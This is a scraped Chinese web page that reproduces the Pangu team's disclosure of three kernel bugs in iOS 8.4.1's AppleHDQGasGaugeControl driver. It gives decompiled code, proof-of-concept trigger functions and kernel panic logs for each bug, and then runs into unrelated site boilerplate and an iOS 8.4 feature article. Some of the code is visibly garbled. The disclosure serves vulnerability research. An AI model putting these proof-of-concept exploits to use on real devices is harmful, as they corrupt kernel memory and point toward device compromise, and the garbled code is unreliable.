苹果5ios9怎么用4g恢复8.4.1

盘古披露iOS8.4.1内核漏洞 苹果于iOS9中修复部分
昨天,中国首个成功越狱iOS的团队盘古团队披露了3个存在于iOS 8.4.1的内核扩展处的:一个堆栈溢出的Bug、一个越界的内存访问Bug、一个堆叠溢位的Bug。其中一个&完美&的漏洞可攻破所有内核防护并实现代码执行。
&当执行 iOS 内核审查的时候,我们发现 com.apple.driver.AppleHDQGasGaugeControl的编码质量非常糟糕。在这个博客中,我们将会公开 3 个在 iOS 8.4.1 内核扩展中发现的 3 个漏洞。更重要的是,其中一个 bug是属于堆叠溢位,它可以允许我们击败所有内核缓解方法并获得内核中的执行代码,只需&完美&利用这单个的漏洞即可。&
selector 7的功能中堆栈溢出漏洞
该处理函数需要3个输入标量和1个输出标量。下面的代码显示了可能出现堆栈溢出,因为没有限制的inputScalar[1]。如果inputScalar[1]是一个非常大的数字,循环将损坏堆栈。
int v17; // [sp+0h] [bp-3Ch]@5
int v18; // [sp+10h] [bp-2Ch]@25
if ( inputScalar[1] )
v11 = -64;
v10) & inputScalar[0] )
*((_BYTE *)&v17 + v10++) = v11;
// v17 is on the stack
while ( inputScalar[1] != v10 );
这个POC非常简单的。我们试图在第一次打开服务,并调用panic1功能触发栈溢出。
void panic1(io_connect_t connection)
uint64_t inputScalar[3];
uint64_t outputScalar[1] = {0};
uint32_t outputCnt = 1;
inputScalar[0] = 0xF000000;
inputScalar[1] = 0xF000000;
inputScalar[2] = 0xF000000;
IOConnectCallMethod(connection, 7, inputScalar, 3, NULL, 0, outputScalar, &outputCnt, NULL, NULL);
int main(int argc, const char * argv[])
CFMutableDictionaryRef matching = erviceMatching(&AppleHDQGasGaugeControl&);
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
io_connect_
kern_return_t kr
= IOServiceOpen(service, mach_task_self(), 0, &connection);
if(KERN_SUCCESS == kr){
panic1(connection);
panic(cpu 1 caller 0x950b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x
0x000004ac
r2: 0x93033b54
r3: 0xffffffc0
0x0f000000
r5: 0x971ddc00
r6: 0x0f000000
r7: 0x93033b90
0x93033bd0
r9: 0x145dx0f: 0x
0x00f42400
sp: 0x93033b54
lr: 0x95ccffcb
pc: 0x95ccfeda
cpsr: 0x fsr: 0x far: 0x
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug
5 19:24:44 PDT 2015; root:xnu-~18/RELEASE_ARM_S5L8950X
Kernel slide:
Kernel text base: 0x
: 0x55eebb5c 0x
Calendar: 0x55eebbf2 0x
Panicked task 0xb6d2 pages, 1 threads: pid 180: m1
panicked thread: 0x813f75e0, backtrace: 0x
0x950b5cc9
0x950b6061
0x9501ee2b
0x950b8e95
0x950b1800
0xc0c0c0c0
selector 14出现内存越界访问漏洞
该处理函数不占用任何录入内存,而是将处理共享内存。如在我们的黑帽大会上所讨论的,这很容易通过呼叫IOConnect存储器,以控制该共享内存中的内容。通过检查启动功能,我们将看到如何在驱动程序初始化时共享内存。
v8 = (IOBufferMemoryDescriptor *)IOBufferMemoryDescriptor::withOptions(0x1, 1);
*(_DWORD *)(v2 + 100) = v8;
mapAddr = (void *)(*(_DWORD (__cdecl **)(IOBufferMemoryDescriptor *))(*(_DWORD *)v8 + 220))(v8);
*(_DWORD *)(v2 + 104) = mapA
// object+104 stores the memory address
bzero_130(mapAddr, 0x1000u);
*(_DWORD *)(*(_DWORD *)(v2 + 104) + 20) = 339;
// memory+20 stores the total count
实际上,存储器用于存储数据,每个元件的阵列为12字节。所以4KB内存可容纳339个元件。那么让我们来进一步检查函数如何处理与共享内存。
mapAddr = *(_DWORD *)(self + 104);
// get memory address of share memory
// mod 339 to get position for writing
v9 = sub_80CF4A20(*(_QWORD *)(mapAddr + 16), *(_QWORD *)(mapAddr + 16) && 32);
v11 = mapAddr + 12 * v9
// v11 may point outside the memory
*(_BYTE *)(v11 + 28) = v7;
v11 += 28;
*(_BYTE *)(v11 + 3) = BYTE3(v7);
*(_BYTE *)(v11 + 2) = (unsigned int)v7 && 16;
*(_BYTE *)(v11 + 1) = BYTE1(v7);
*(_QWORD *)(v11 + 4) = *(_QWORD *)(mapAddr + 8); // writing with controlled source
问题是,该驱动程序信任存储在共享存储器中的总计数,并且该数目可以很容易地进行修改。因此,如果我们能够知道的内存地址(这可能需要一些其他的信息泄露漏洞),我们可以使V11指向任何12字节对齐的内核地址。然后我们可以把DWORD修改成我们想要的任何值。
void panic2(io_connect_t connection)
vm_address_t address = 0;
vm_size_t vmsize = 4096;
kern_return_t kr = IOConnectMapMemory(connection, 0, mach_task_self(), &address, &vmsize, kIOMapAnywhere);
if (kr != KERN_SUCCESS || vmsize != 4096) {
*(uint32_t *)(address + 16) = 0xAAAAAAA;
*(uint32_t *)(address + 20) = 0;
// change 339 to 0
IOConnectCallMethod(connection, 14, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
panic(cpu 1 caller 0x908b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x5f33b014
r1: 0xdf33b000
r2: 0x5f33aff8
0x0aaaaaaa
r5: 0x929abe40
r7: 0xddf43ba4
0x0000009e
r9: 0x068ex: 0x0000009e
0x00f42400
sp: 0xddf43b60
pc: 0x914d04c6
cpsr: 0x fsr: 0x far: 0x5f33b014
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug
5 19:24:44 PDT 2015; root:xnu-~18/RELEASE_ARM_S5L8950X
Kernel slide:
Kernel text base: 0x
: 0x55eeb77c 0x
Calendar: 0x55eeb8b0 0x00004a05
注:共享内存的偏移量是在32位内核情况下。
selector 12堆叠溢位漏洞
此处理功能的录入是一个标量数和一个结构。此外,它需要输入标量[0]
if ( inputSize )
v6 = (char *)inputStruct + 4;
while ( 1 )
v9 = (int)&v6[8 * v8];
v10 = *(_BYTE *)(v9 + 3);
v11 = *(_BYTE *)(v9 + 1);
v12 = *(_BYTE *)(v9 + 2);
result = 0xE00002C2;
v14 = (unsigned __int8)v6[8 * v8] | (v11
8) | ((v12 | (v10
if ( v14 & 19 )
if ( v14 != 20 )
if ( (unsigned int)v14 &= 3 && v14 != 10 )
if ( v14 != -1 )
goto LABEL_12;
// break if -1 is found, at this time v8
v7 += v15;
if ( v8 &= inputSize )
goto LABEL_12;
// break normally with v8 == inputSize
v16 = (void *)IOMalloc_130(8 * v8);
// memory size is 8*v8
*(_DWORD *)(v5 + 8) = v16;
if ( v16 )
memmove_130(v16, inputStruct, 8 * inputSize);
// heap overflow when v8
result = 0;
*(_DWORD *)v5 = v8;
*(_DWORD *)(v5 + 4) = v7;
通过这个代码,我们将看到它检查录入结构,每8个字节,并采取-1作为结束。然后将其按照大小可能比实际输入结构较小。但当复制内存,它再次使用真正的输入大小,从而导致堆溢出。
这是一个我们可以完美控制的漏洞:
- 堆的大小要溢出,这意味着你可以选择任何的kalloc区攻击
- 的大小和数据的内容的堆后覆盖
我们在这里给出一个简单的POC。
void panic3(io_connect_t connection)
uint64_t inputScalar[1];
uint8_t structData[1024];
uint32_t structSize = 1024;
inputScalar[0] = 0;
memset(structData, 0x88, sizeof(structData));
*(uint32_t *)&structData[4] = 1;
*(uint32_t *)&structData[4+8] = 0xFFFFFFFF;
// indicate end
IOConnectCallMethod(connection, 12, inputScalar, 1, structData, structSize, NULL, NULL, NULL, NULL);
panic(cpu 0 caller 0x95a47d41): &a freed zone element has been modified in zone kalloc.8: expected 0xf66f1cb2 but found 0x, bits changed 0x7ee7943a, at offset 4 of 8 in element 0xbce83c08, cookies 0x7eeed803f9&
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug
5 19:24:44 PDT 2015; root:xnu-~18/RELEASE_ARM_S5L8950X
Kernel slide:
Kernel text base: 0x95a01000
: 0x55eeb9ec 0x
Calendar: 0x55eebb50 0x000d2a69
需要注意的是这些漏洞不能在沙箱内触发。并且盘古已经确认,第2和第3个漏洞在iOS9 beta5中已经修复。热门搜索:
您的位置: -&
软件教程分类查找
非常抱歉!2345软件大全没能为您提供完善服务,万分感谢能得到您的指点!
您的建议:
第二章 通讯相关
第三章 下载同步
第四章 网络设置
第五章 铃声视频
第六章 个性优化
第七章 拍摄技巧
第八章 安全设置
第九章 实用技巧
第十章 相关问题
第十一章 其他设置
第二章 网络共享
第三章 同步传输
第四章 个性优化
第五章 实用技巧
第六章 相关问题
精品软件课程
人气:315930
苹果iOS是由苹果公司开发的手持设备操作系
人气:102384
Android(安卓)操作系统是一种以Linux为基
人气:35261
Windows Phone 7是微软公司发布的一款手机
人气:1014
支付宝是全球领先的第三方支付平台,成立于
小游戏推荐
iphone5升ios8.4怎么样 会卡吗
出处:2345软件大全
人气:7942
核心提示:下面小编为大家介绍一下ios8.4的相关更新内容,一起来看看吧。
  iphone5升ios8.4怎么样 会卡吗 很多iphone5用户都在关心iphone5升级ios8.4怎么样 卡不卡,下面小编为大家介绍一下ios8.4的相关更新内容,一起来看看吧。  【iphone5升ios8.4怎么样 会卡吗】  iOS8.4新特性功能  本次更新为您推出 Apple Music — 一款革命性的音乐服务、24/7 全球广播、并为粉丝提供了与喜爱艺人互动交流的途径 —
一切尽在重新设计的“音乐”应用。iOS 8.4 还包含 iBooks 改进与问题修复。  Apple Music  成为 Apple Music 会员,播放 Apple Music 音乐目录中的百万歌曲,也可离线音乐供稍后播放  为您甄选:会员可以查看播放列表与专辑推荐,由音乐专家为您精挑细选  新内容:会员可以查看最新杰出音乐 — 由我们的编辑直接推荐  广播:使用 Beats 1 收听音乐、访谈以及独家广播节目,播放由我们的编辑创建的广播电台,当然,您也可以用任意艺人或歌曲创建自己的电台  Connect:查看您关注的艺人分享的观点、照片、音乐和视频,并成为对话一员  我的音乐:您通过 iTunes 购买的全部音乐、来自 Apple Music 的歌曲、以及您的播放列表,汇聚一处,随心播放  全新设计的音乐播放器包含“最近添加”、 迷你播放程序、“接着播放”以及更多功能  iTunes Store:仍是您购买喜爱歌曲的最佳去处 — 一次购买一首歌或一张专辑,随您心意  以上服务是否可用以及相关功能可能因国家或地区有所差异  iBooks 改进与修复  在 iBooks 内即可浏览、收听及下载有声读物  享受全新“正在播放”功能,专为有声读物而设计  iBooks 专版书目现在除 iPad 之外,还可以在 iPhone 上阅读  在您的资料库即可查找并预购系列图书  针对使用 iBooks Author 所制作图书的 widget 小程序的辅助功能服务、词汇表以及章节导航进行了改进  全新默认中文字体  新设置使您可以在书库中关闭自动启用夜间主题  解决了可能导致无法隐藏购买项目的问题  解决了可能导致无法从 iCloud 下载图书的问题  其他功能改进及问题修复  修复了接收特定 Unicode 字符组时设备重启的问题  修复了造成 GPS 配件无法提供位置数据的问题  修复了 Apple Watch 应用删除后又被重新安装的问题
相关教程推荐
相关软件推荐
资源统计:无插件软件:93308个 无病毒软件:93602个 昨日已处理107个带插件、病毒的软件
本站总软件:93602个 软件总下载次数:22.983亿次
软件教程文章:87660篇 总浏览次数:2.745亿次}

我要回帖

更多关于 ios9官方恢复ios8.4.1 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信